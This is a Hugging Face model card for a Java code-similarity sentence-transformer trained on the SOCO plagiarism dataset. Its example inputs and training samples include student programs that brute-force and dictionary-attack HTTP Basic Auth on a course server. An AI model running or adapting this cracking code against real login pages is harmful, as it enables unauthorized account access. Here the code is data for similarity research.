\ auth_data=getBasicAuthData(auth_data);\n auth_data=auth_data.trim();\n\
\ conn=url.openConnection();\n conn.setDoInput (true);\n\
\ conn.setDoOutput(true);\n conn.setRequestProperty(\"\
GET\", \"/SEC/2/ HTTP/1.1\");\n conn.setRequestProperty (\"Authorization\"\
, auth_data);\n server_res_code=conn.getHeaderField(0);\n \
\ server_res_code=server_res_code.substring(9,12);\n \
\ server_res_code.trim();\n cntr++;\n System.out.println(cntr\
\ + \" . \" + \"PASSWORD SEND : \" + password + \" SERVER RESPONSE : \" + server_res_code);\n\
\ if( server_res_code.compareTo(required_server_res_code)==0 )\n\
\ {System.out.println(\"PASSWORD IS : \" + password + \" SERVER\
\ RESPONSE : \" + server_res_code );\n i=j=k=123;}\n \
\ }\n\n \
\ }\n\n }\n }\n catch (Exception\
\ e) {\n System.err.print(e);\n }\n }\n\npublic String getBasicAuthData\
\ (String getauthdata) {\n\nchar base64Array [] = {\n 'A', 'B', 'C', 'D',\
\ 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\
\ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\
\ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r',\
\ 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4',\
\ '5', '6', '7', '8', '9', '+', '/' } ;\n\n String encodedString = \"\";\n\
\ byte bytes [] = getauthdata.getBytes ();\n int i = 0;\n int pad = 0;\n\
\ while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n\
\ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\
\ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\
\ if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n\
\ }\n else\n b3 = bytes [i++];\n }\n \
\ byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2\
\ >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte\
\ c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString\
\ += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString\
\ += base64Array [c3];\n encodedString += base64Array [c4];\n \
\ break;\n case 1:\n encodedString += base64Array [c3];\n \
\ encodedString += \"=\";\n break;\n case 2:\n encodedString\
\ += \"==\";\n break;\n }\n }\n return \" \" + encodedString;\n\
\ }\n}"
- "package java.httputils;\n\nimport java.io.IOException;\nimport java.net.MalformedURLException;\n\
import java.sql.Timestamp;\n\n\npublic class RunnableBruteForce extends BruteForce\
\ implements Runnable\n{\n protected int rangeStart, rangeEnd;\n protected\
\ boolean stop = false;\n \n public RunnableBruteForce()\n {\n \
\ super();\n }\n\n \n public void run()\n {\n process();\n\
\ }\n\n public static void main(String[] args)\n {\n }\n \n \
\ public int getRangeEnd()\n {\n return rangeEnd;\n }\n\n \n \
\ public int getRangeStart()\n {\n return rangeStart;\n }\n\n \
\ \n public void setRangeEnd(int i)\n {\n rangeEnd = i;\n }\n\
\n \n public void setRangeStart(int i)\n {\n rangeStart = i;\n\
\ }\n\n \n public boolean isStop()\n {\n return stop;\n \
\ }\n\n \n public void setStop(boolean b)\n {\n stop = b;\n \
\ }\n\n public void process()\n {\n String password = \"\";\n \
\ \n System.out.println(Thread.currentThread().getName() +\n \
\ \"-> workload: \" +\n this.letters[getRangeStart()]\
\ + \" \" +\n this.letters[getRangeEnd() - 1]);\n\
\ setStart(new Timestamp(System.currentTimeMillis()));\n\n for (int\
\ i = getRangeStart();\n i < getRangeEnd();\n i++)\n \
\ {\n System.out.println(Thread.currentThread().getName() +\n \
\ \"-> Trying words beginning with: \" +\n \
\ letters[i]);\n for (int i2 = 0;\n i2 < letters.length;\n\
\ i2++)\n {\n for (int i3 = 0;\n \
\ i3 < letters.length;\n i3++)\n \
\ {\n if (isStop())\n {\n \
\ return;\n }\n try\n \
\ {\n char [] arr = new char [] {letters[i],\
\ letters[i2], letters[i3]};\n String pwd = new String(arr);\n\
\ \n if (Thread.currentThread().getName().equals(\"\
Thread-1\") && pwd.equals(\"bad\"))\n {\n \
\ System.out.println(Thread.currentThread().getName() +\n \
\ \"-> Trying password: \" +\n \
\ pwd);\n }\n attempts++;\n\
\n BasicAuthHttpRequest req =\n \
\ new BasicAuthHttpRequest(\n getURL(),\n \
\ getUserName(),\n \
\ pwd);\n System.out.println(\"Got the password\");\n\
\ setPassword(pwd);\n setEnd(new\
\ Timestamp(System.currentTimeMillis()));\n setContent(req.getContent().toString());\n\
\n \n this.setChanged();\n \
\ this.notifyObservers(this.getContent());\n \
\ return;\n }\n catch (MalformedURLException\
\ e)\n {\n e.printStackTrace();\n \
\ return;\n }\n catch\
\ (IOException e)\n {\n\n }\n \
\ }\n }\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n\
\ }\n\n}\n"
- "\n\nclass WebPage\n{\n \n \n private boolean success = false;\n \n\
\ private String pageContents= \"\";\n \n\n\t\n public WebPage()\n \
\ {\n }\n \n\t\n public void setSuccess (boolean inSuccess)\n {\n\
\ success = inSuccess;\n }\n \n\t\n public boolean getSuccess()\n\
\ {\n return success;\n }\n \n\t\n public void setPageContents\
\ (String inPage)\n {\n pageContents = inPage;\n }\n \n\t\n \
\ public String getPageContents()\n {\n return pageContents;\n }\n\
} \n"
pipeline_tag: sentence-similarity
library_name: sentence-transformers
---
# SentenceTransformer based on microsoft/unixcoder-base-unimodal
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal). It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
## Model Details
### Model Description
- **Model Type:** Sentence Transformer
- **Base model:** [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) <!-- at revision c6b7b85380bf4e01309a3cf5e4f686433764d923 -->
- **Maximum Sequence Length:** 512 tokens
- **Output Dimensionality:** 768 dimensions
- **Similarity Function:** Cosine Similarity
<!-- - **Training Dataset:** Unknown -->
<!-- - **Language:** Unknown -->
<!-- - **License:** Unknown -->
### Model Sources
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)
### Full Model Architecture
```
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
```
## Usage
### Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
```bash
pip install -U sentence-transformers
```
Then you can load this model and run inference.
```python
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-UniXcoder-ST")
# Run inference
sentences = [
'\npublic class ImageFile\n{\n\tprivate String imageUrl;\n\tprivate int imageSize;\n\n\tpublic ImageFile(String url, int size)\n\t{\n\t\timageUrl=url;\n\t\timageSize=size;\n\t}\n\n\tpublic String getImageUrl()\n\t{\n\t\treturn imageUrl;\n\t}\n\n\tpublic int getImageSize()\n\t{\n\t\treturn imageSize;\n\t}\n}\n',
'import java.io.*;\nimport java.net.*;\n\npublic class BruteForce {\n public static void main(String[] args) {\n BruteForce brute=new BruteForce();\n brute.start();\n\n\n }\n\n\npublic void start() {\nchar passwd[]= new char[3];\nString password;\nString username="";\nString auth_data;\nString server_res_code;\nString required_server_res_code="200";\nint cntr=0;\n\ntry {\n\nURL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\nURLConnection conn=null;\n\n\n for (int i=65;i<=122;i++) {\n if(i==91) { i=i+6; }\n passwd[0]= (char) i;\n\n for (int j=65;j<=122;j++) {\n if(j==91) { j=j+6; }\n passwd[1]=(char) j;\n\n for (int k=65;k<=122;k++) {\n if(k==91) { k=k+6; }\n passwd[2]=(char) k;\n password=new String(passwd);\n password=password.trim();\n auth_data=null;\n auth_data=username + ":" + password;\n auth_data=auth_data.trim();\n auth_data=getBasicAuthData(auth_data);\n auth_data=auth_data.trim();\n conn=url.openConnection();\n conn.setDoInput (true);\n conn.setDoOutput(true);\n conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");\n conn.setRequestProperty ("Authorization", auth_data);\n server_res_code=conn.getHeaderField(0);\n server_res_code=server_res_code.substring(9,12);\n server_res_code.trim();\n cntr++;\n System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code);\n if( server_res_code.compareTo(required_server_res_code)==0 )\n {System.out.println("PASSWORD IS : " + password + " SERVER RESPONSE : " + server_res_code );\n i=j=k=123;}\n }\n\n }\n\n }\n }\n catch (Exception e) {\n System.err.print(e);\n }\n }\n\npublic String getBasicAuthData (String getauthdata) {\n\nchar base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\' } ;\n\n String encodedString = "";\n byte bytes [] = getauthdata.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return " " + encodedString;\n }\n}',
'package java.httputils;\n\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class RunnableBruteForce extends BruteForce implements Runnable\n{\n protected int rangeStart, rangeEnd;\n protected boolean stop = false;\n \n public RunnableBruteForce()\n {\n super();\n }\n\n \n public void run()\n {\n process();\n }\n\n public static void main(String[] args)\n {\n }\n \n public int getRangeEnd()\n {\n return rangeEnd;\n }\n\n \n public int getRangeStart()\n {\n return rangeStart;\n }\n\n \n public void setRangeEnd(int i)\n {\n rangeEnd = i;\n }\n\n \n public void setRangeStart(int i)\n {\n rangeStart = i;\n }\n\n \n public boolean isStop()\n {\n return stop;\n }\n\n \n public void setStop(boolean b)\n {\n stop = b;\n }\n\n public void process()\n {\n String password = "";\n \n System.out.println(Thread.currentThread().getName() +\n "-> workload: " +\n this.letters[getRangeStart()] + " " +\n this.letters[getRangeEnd() - 1]);\n setStart(new Timestamp(System.currentTimeMillis()));\n\n for (int i = getRangeStart();\n i < getRangeEnd();\n i++)\n {\n System.out.println(Thread.currentThread().getName() +\n "-> Trying words beginning with: " +\n letters[i]);\n for (int i2 = 0;\n i2 < letters.length;\n i2++)\n {\n for (int i3 = 0;\n i3 < letters.length;\n i3++)\n {\n if (isStop())\n {\n return;\n }\n try\n {\n char [] arr = new char [] {letters[i], letters[i2], letters[i3]};\n String pwd = new String(arr);\n \n if (Thread.currentThread().getName().equals("Thread-1") && pwd.equals("bad"))\n {\n System.out.println(Thread.currentThread().getName() +\n "-> Trying password: " +\n pwd);\n }\n attempts++;\n\n BasicAuthHttpRequest req =\n new BasicAuthHttpRequest(\n getURL(),\n getUserName(),\n pwd);\n System.out.println("Got the password");\n setPassword(pwd);\n setEnd(new Timestamp(System.currentTimeMillis()));\n setContent(req.getContent().toString());\n\n \n this.setChanged();\n this.notifyObservers(this.getContent());\n return;\n }\n catch (MalformedURLException e)\n {\n e.printStackTrace();\n return;\n }\n catch (IOException e)\n {\n\n }\n }\n }\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
```
<!--
### Direct Usage (Transformers)
<details><summary>Click to see the direct usage in Transformers</summary>
</details>
-->
<!--
### Downstream Usage (Sentence Transformers)
You can finetune this model on your own dataset.
<details><summary>Click to expand</summary>
</details>
-->
<!--
### Out-of-Scope Use
*List how the model may foreseeably be misused and address what users ought not to do with the model.*
-->
<!--
## Bias, Risks and Limitations
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
-->
<!--
### Recommendations
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
-->
## Training Details
### Training Dataset
#### Unnamed Dataset
* Size: 33,411 training samples
* Columns: <code>sentence_0</code>, <code>sentence_1</code>, and <code>label</code>
* Approximate statistics based on the first 1000 samples:
| | sentence_0 | sentence_1 | label |
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-----------------------------------------------|
| type | string | string | int |
| details | <ul><li>min: 51 tokens</li><li>mean: 449.02 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 464.04 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.80%</li><li>1: ~0.20%</li></ul> |
* Samples:
| sentence_0 | sentence_1 | label |
|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------|
| <code><br><br><br><br><br>import java.io.*;<br>import java.net.*;<br><br><br><br>public class BruteForce<br>{<br> public static void main(String args[]) throws IOException,<br> MalformedURLException<br> {<br> final String username = "";<br> final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/";<br> <br> String temppass;<br> String password = "";<br> URL url = new URL(fullurl);<br> boolean cracked = false;<br> <br> String c[] = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O",<br> "P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d",<br> "e","f","g","h","i","j","k","l","m","n","o","p","q","r","s",<br> "t","u","v","w","x","y","z"};<br> <br> startTime = System.currentTimeMillis();<br> <br> <br> <br> for(int i = 0; i < 52 && !cracked; i++) {<br> temppass = c[i]; <br> Authenticator.setDefault(new MyAuthenticator(username, temppass));<br> try{<br> <br> <br> BufferedReader r = ...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br><br>public class SendEMail {<br><br> public void SendEMail(){}<br><br>public void sendMail(String recipient,String c, String subject){<br> try {<br><br> Socket s = new Socket("yallara.cs.rmit.edu.", 25);<br> BufferedReader in = new BufferedReader<br> (new InputStreamReader(s.getInputStream(), "8859_1"));<br> BufferedWriter out = new BufferedWriter<br> (new OutputStreamWriter(s.getOutputStream(), "8859_1"));<br><br> send(in, out, "HELO theWorld");<br> <br> <br> send(in, out, "MAIL FROM: <watch@dog.>");<br> send(in, out, "RCPT : "+recipient);<br> send(in, out, "DATA");<br> send(out, "Subject: "+ subject);<br> send(out, "From: WatchDog.java");<br> send (out, "\n");<br> <br> BufferedReader reader;<br> String line;<br> reader = new BufferedReader(new InputStreamReader(new FileInputStream()));<br> line = reader.readLine();<br> while (line != null){<br> send(out, line);<br> line = reader.readLine();<br> }<br> send...</code> | <code>0</code> |
| <code>import java.util.*;<br>import java.net.*;<br>import java.io.*; <br><br>public class Dictionary<br>{<br> boolean connected = false;<br> int counter;<br> <br> Vector words = new Vector();<br> <br> Dictionary()<br> {<br> counter = 0;<br> this.readWords(); <br> this.startAttack();<br> } <br> <br> public void startAttack()<br> {<br> while(counter<this.words.size())<br> {<br> connected = sendRequest();<br> if(connected == true)<br> {<br> System.out.print("The password is: ");<br> System.out.println((String)words.elementAt(counter-1));<br> counter = words.size();<br> }<br> }<br> }<br> <br><br> public void readWords()<br> {<br> String line;<br><br> try<br> {<br> BufferedReader buffer = new BufferedReader(<br> new FileReader("/usr/share/lib/dict/words"));<br> <br> line = buffer.readLine();<br><br> while(line != null)<br> {<br><br> if(line.length() <= 3)<br> ...</code> | <code><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>import java.io.*;<br>import java.net.*;<br>import java.net.URL;<br>import java.net.URLConnection;<br>import java.util.*;<br><br>public class BruteForce {<br><br> public static void main(String[] args) throws IOException {<br><br> <br> int start , end, total;<br> start = System.currentTimeMillis(); <br><br> String username = "";<br> String password = null;<br> String host = "http://sec-crack.cs.rmit.edu./SEC/2/";<br><br> <br> <br> String letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";<br> int lettersLen = letters.length(); <br> int passwordLen=3; <br><br> int passwords=0; <br> int twoChar=0; <br><br> url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();<br> <br><br> <br> String authenticate = ""; <br> String realm = null, domain = null, hostname = null;<br> header = null; <br><br> <br> int responseCode;<br> String responseMsg;<br><br> <br> int temp1=0;<br> int temp2=0;<br> int temp3=0;<br><br><br> <br> <br> <br> for (int a=...</code> | <code>0</code> |
| <code><br><br><br><br>public class SMTPException extends Exception {<br><br> private String msg; <br> <br> public SMTPException(String message) {<br> msg = message;<br> }<br><br> <br> public String getMessage() {<br> return msg;<br> }<br>}</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br><br>import java.*;<br>import java.util.*;<br><br>public class Dictionary {<br><br> private static String commandLine = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";<br> private String password; <br> private String previous; <br> private String url; <br> private int startTime;<br> private int endTime;<br> private int totalTime;<br> private float averageTime;<br> private boolean finish;<br> private Process curl;<br> private BufferedReader bf, responseLine;<br><br> public Dictionary() {<br><br> first();<br> finish = true; <br> previous = ""; <br> Runtime run = Runtime.getRuntime();<br> startTime =new Date().getTime(); <br> int i=0;<br> try {<br> try {<br> bf = new BufferedReader(new FileReader("words"));<br> }<br> catch(FileNotFoundException notFound) {<br> bf = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));<br> }<br><br> while((password = bf.readLine()) != null) {<br> if(password....</code> | <code>0</code> |
* Loss: [<code>BatchAllTripletLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss)
### Training Hyperparameters
#### Non-Default Hyperparameters
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `num_train_epochs`: 1
- `fp16`: True
- `multi_dataset_batch_sampler`: round_robin
#### All Hyperparameters
<details><summary>Click to expand</summary>
- `overwrite_output_dir`: False
- `do_predict`: False
- `eval_strategy`: no
- `prediction_loss_only`: True
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `per_gpu_train_batch_size`: None
- `per_gpu_eval_batch_size`: None
- `gradient_accumulation_steps`: 1
- `eval_accumulation_steps`: None
- `torch_empty_cache_steps`: None
- `learning_rate`: 5e-05
- `weight_decay`: 0.0
- `adam_beta1`: 0.9
- `adam_beta2`: 0.999
- `adam_epsilon`: 1e-08
- `max_grad_norm`: 1
- `num_train_epochs`: 1
- `max_steps`: -1
- `lr_scheduler_type`: linear
- `lr_scheduler_kwargs`: {}
- `warmup_ratio`: 0.0
- `warmup_steps`: 0
- `log_level`: passive
- `log_level_replica`: warning
- `log_on_each_node`: True
- `logging_nan_inf_filter`: True
- `save_safetensors`: True
- `save_on_each_node`: False
- `save_only_model`: False
- `restore_callback_states_from_checkpoint`: False
- `no_cuda`: False
- `use_cpu`: False
- `use_mps_device`: False
- `seed`: 42
- `data_seed`: None
- `jit_mode_eval`: False
- `use_ipex`: False
- `bf16`: False
- `fp16`: True
- `fp16_opt_level`: O1
- `half_precision_backend`: auto
- `bf16_full_eval`: False
- `fp16_full_eval`: False
- `tf32`: None
- `local_rank`: 0
- `ddp_backend`: None
- `tpu_num_cores`: None
- `tpu_metrics_debug`: False
- `debug`: []
- `dataloader_drop_last`: False
- `dataloader_num_workers`: 0
- `dataloader_prefetch_factor`: None
- `past_index`: -1
- `disable_tqdm`: False
- `remove_unused_columns`: True
- `label_names`: None
- `load_best_model_at_end`: False
- `ignore_data_skip`: False
- `fsdp`: []
- `fsdp_min_num_params`: 0
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
- `fsdp_transformer_layer_cls_to_wrap`: None
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
- `deepspeed`: None
- `label_smoothing_factor`: 0.0
- `optim`: adamw_torch
- `optim_args`: None
- `adafactor`: False
- `group_by_length`: False
- `length_column_name`: length
- `ddp_find_unused_parameters`: None
- `ddp_bucket_cap_mb`: None
- `ddp_broadcast_buffers`: False
- `dataloader_pin_memory`: True
- `dataloader_persistent_workers`: False
- `skip_memory_metrics`: True
- `use_legacy_prediction_loop`: False
- `push_to_hub`: False
- `resume_from_checkpoint`: None
- `hub_model_id`: None
- `hub_strategy`: every_save
- `hub_private_repo`: None
- `hub_always_push`: False
- `gradient_checkpointing`: False
- `gradient_checkpointing_kwargs`: None
- `include_inputs_for_metrics`: False
- `include_for_metrics`: []
- `eval_do_concat_batches`: True
- `fp16_backend`: auto
- `push_to_hub_model_id`: None
- `push_to_hub_organization`: None
- `mp_parameters`:
- `auto_find_batch_size`: False
- `full_determinism`: False
- `torchdynamo`: None
- `ray_scope`: last
- `ddp_timeout`: 1800
- `torch_compile`: False
- `torch_compile_backend`: None
- `torch_compile_mode`: None
- `include_tokens_per_second`: False
- `include_num_input_tokens_seen`: False
- `neftune_noise_alpha`: None
- `optim_target_modules`: None
- `batch_eval_metrics`: False
- `eval_on_start`: False
- `use_liger_kernel`: False
- `eval_use_gather_object`: False
- `average_tokens_across_devices`: False
- `prompts`: None
- `batch_sampler`: batch_sampler
- `multi_dataset_batch_sampler`: round_robin
</details>
### Training Logs
| Epoch | Step | Training Loss |
|:------:|:----:|:-------------:|
| 0.2393 | 500 | 0.2443 |
| 0.4787 | 1000 | 0.2228 |
| 0.7180 | 1500 | 0.2148 |
| 0.9574 | 2000 | 0.1666 |
### Framework Versions
- Python: 3.11.13
- Sentence Transformers: 4.1.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.7.0
- Datasets: 3.6.0
- Tokenizers: 0.21.1
## Citation
### BibTeX
#### Sentence Transformers
```bibtex
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
```
#### BatchAllTripletLoss
```bibtex
@misc{hermans2017defense,
title={In Defense of the Triplet Loss for Person Re-Identification},
author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
year={2017},
eprint={1703.07737},
archivePrefix={arXiv},
primaryClass={cs.CV}
}
```
<!--
## Glossary
*Clearly define terms in order to be accessible across audiences.*
-->
<!--
## Model Card Authors
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
-->
<!--
## Model Card Contact
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
-->